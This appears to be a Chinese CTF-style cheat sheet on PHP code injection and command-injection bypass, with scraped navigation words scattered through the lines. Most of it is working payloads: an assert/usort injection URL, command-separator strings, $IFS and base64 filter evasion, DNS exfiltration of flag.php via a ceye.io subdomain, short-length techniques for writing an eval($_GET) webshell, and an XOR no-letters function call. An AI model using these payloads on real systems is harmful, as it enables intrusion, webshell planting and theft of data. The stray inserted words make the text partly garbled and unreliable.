相關函數
代碼注入
-
eval()
php
傳入的必須是有效的 PHP 代碼。全部的語句必須以分號結尾。 return 語句會當即停止當前字符串的執行。linux
代碼執行的做用域是調用 eval() 處的做用域。所以,eval() 裏任何的變量定義、修改,都會在函數結束後被保留。shell
-
assert()
函數
-
call_user_func()/call_user_func_array()
post
能夠傳遞任何內置函數或用戶自定義函數,除了語言結構如array(),echo(),empty(),eval(),exit(),isset(),list(),print(),unset()url
-
create_function()
spa
-
usort()/uasort()
code
例如:blog
?1[]=phpinfo()&1[]=123&2=assert usort($_GET[1],'assert');
-
${php代碼} 例如:
${phpinfo()};
dns -
ob_start()
命令執行
-
system()
-
exec()/shell_exec()
-
passthru
-
``運算符
命令執行的繞過
命令執行的分隔符
例子:system("echo ".$_GET[1]);
功能 | 符號 | payload |
---|---|---|
換行符 | %0a | ?1=123%0apwd |
回車符 | %0d | 同上 |
連續指令 | ; | ?1=123;pwd |
後臺進程 | & | ?1=123&pwd |
管道符 | |(顯示後面語句的結果) | ?1=123|pwd |
邏輯運算 | ||或&& | ?1=123||pwd |
空格代替
- <符號
- $IFS(好像有問題)
- ${IFS}
- $IFS$9
- %09用於url傳遞
繞過
- a=l;b=s;$a$b
- `echo d2hvYW1p|base64 -D`
- linux命令中能夠加
\
,因此甚至能夠ca\t /fl\ag
'l's
同上
命令執行的各類符號
使用env命令查看本地變量,expr substr來截取須要的字符,拼接成命令執行 例如:
echo "${PATH:0:1}" echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`" echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1) expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
命令無回顯的狀況
判斷
-
延時 例子:
ls;sleep 3
-
http請求/dns請求 http://ceye.io/payloads
利用
- 寫shell(直接寫入/外部下載)
- echo >
- wget
- http/dns等方式帶出數據 須要去掉空格,可使用sed等命令 如:
echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
可控字符串長度受限
15個字符
echo \<?php >1 echo eval\(>>1 echo \$_GET>>1 echo \[1\]>>1 echo \)\;>>1 mv 1 1.php
7個字符
思路: 一、命令+>文件名
能夠生產文件(命令能夠爲空) 二、ls -t
能夠將文件按時間順序排列 三、sh
命令能夠執行sh腳本 四、base64命令能夠避免特殊字符 五、\能夠分行輸入命令
w>hp w>1.p\\ w>d\>\\ w>\ -\\ w>e64\\ w>bas\\ w>7\|\\ w>XSk\\ w>Fsx\\ w>dFV\\ w>kX0\\ w>bCg\\ w>XZh\\ w>AgZ\\ w>waH\\ w>PD9\\ w>o\ \\ w>ech\\ ls -t|\ sh
無數字字母getshell
- 思路:異或、取反
- 例子:
$_='<>]=@^<'^'[[){,?[';//$_='getFlag'\n $_();//getFlag()